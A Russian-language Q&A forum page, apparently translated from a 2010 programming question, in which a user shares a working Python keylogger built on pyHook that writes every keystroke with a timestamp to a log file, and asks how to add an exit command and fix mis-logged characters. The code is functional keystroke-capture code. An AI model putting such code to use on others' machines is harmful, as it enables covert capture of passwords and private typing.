Создание ключевой команды в Python - PullRequest
0 голосов
/ 09 августа 2010

Я пишу свой собственный простой регистратор ключей на основе сценария, который я нашел в Интернете. Однако я пытаюсь написать ключевую команду, чтобы программа-регистратор закрывалась при вводе этой команды. Как я должен идти об этом? (Также я знаю, что это совсем не безопасно, однако это не касается этой программы)

Например, Ctrl + 'выход' закроет программу.

Также иногда он не будет правильно печатать определенный символ в создаваемом им файле .log, что может быть причиной этого? (Я думаю, что тип добавления символа может быть причиной этой проблемы)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Это в Windows 7, кстати.

1 Ответ

0 голосов
/ 09 августа 2010

Чтобы закрыть его с помощью определенной команды, скажите «выход» ... вы хотите создать буфер .... если вы сохраняете все, что вы регистрируете в буфере, вы можете легко сделать

buff += newkeypress
if "quit" in buff[-4:]:
    logfile.close()
    sys.exit(0)

или вы можете сделать что-то вроде добавления / выталкивания со списком ... или другой тип кольцевого буфера

для забавных символов, вы можете захотеть просто напечатать все это в шестнадцатеричном виде.... или игнорирование событий, меньших ascii 0 (таких как \ b и другие забавные символы)

Или .. создайте таблицу ascii (словарь) и зарегистрируйте совпадение для ключа, поэтому, если вы получаете \ b, вы регистрируетесь'' и если вы получите '0', вы войдете в '0'

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...